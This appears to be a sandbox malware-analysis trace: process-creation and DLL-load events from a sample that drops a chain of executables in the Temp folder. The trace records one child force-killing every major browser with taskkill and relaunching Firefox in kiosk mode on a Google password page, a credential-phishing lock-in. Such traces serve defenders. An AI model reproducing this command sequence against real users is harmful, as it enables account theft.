Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002779001\num.exe "C:\Users\user\AppData\Local\Temp\1002779001\num.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2284 -parentBuildID 20230927232528 -prefsHandle 2232 -prefMapHandle 2228 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {70149f39-4644-4285-b4ad-18afc232e38d} 7860 "\\.\pipe\gecko-crash-server-pipe.7860" 1c164c71110 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe "C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1632 -parentBuildID 20230927232528 -prefsHandle 1484 -prefMapHandle 3904 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {33f69ba0-f69f-45b7-b28b-3edde4189f95} 7860 "\\.\pipe\gecko-crash-server-pipe.7860" 1c176eb0a10 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe "C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe"
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Process created: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe "C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe"
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002779001\num.exe "C:\Users\user\AppData\Local\Temp\1002779001\num.exe"
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Process created: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe "C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe"
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2316 -parentBuildID 20230927232528 -prefsHandle 2260 -prefMapHandle 2188 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3e1a6159-709e-4015-91b7-c27852cbfe8d} 7920 "\\.\pipe\gecko-crash-server-pipe.7920" 1d594569d10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4516 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 4476 -prefMapHandle 4520 -prefsLen 32092 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {772a86bb-9c44-49fb-b5c4-a3def5e3b247} 7920 "\\.\pipe\gecko-crash-server-pipe.7920" 1d5a7886d10 utility
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe "C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe "C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe "C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe "C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe "C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002779001\num.exe "C:\Users\user\AppData\Local\Temp\1002779001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Process created: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe "C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe"
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Process created: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe "C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2284 -parentBuildID 20230927232528 -prefsHandle 2232 -prefMapHandle 2228 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {70149f39-4644-4285-b4ad-18afc232e38d} 7860 "\\.\pipe\gecko-crash-server-pipe.7860" 1c164c71110 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1632 -parentBuildID 20230927232528 -prefsHandle 1484 -prefMapHandle 3904 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {33f69ba0-f69f-45b7-b28b-3edde4189f95} 7860 "\\.\pipe\gecko-crash-server-pipe.7860" 1c176eb0a10 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2316 -parentBuildID 20230927232528 -prefsHandle 2260 -prefMapHandle 2188 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3e1a6159-709e-4015-91b7-c27852cbfe8d} 7920 "\\.\pipe\gecko-crash-server-pipe.7920" 1d594569d10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4516 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 4476 -prefMapHandle 4520 -prefsLen 32092 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {772a86bb-9c44-49fb-b5c4-a3def5e3b247} 7920 "\\.\pipe\gecko-crash-server-pipe.7920" 1d5a7886d10 utility
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
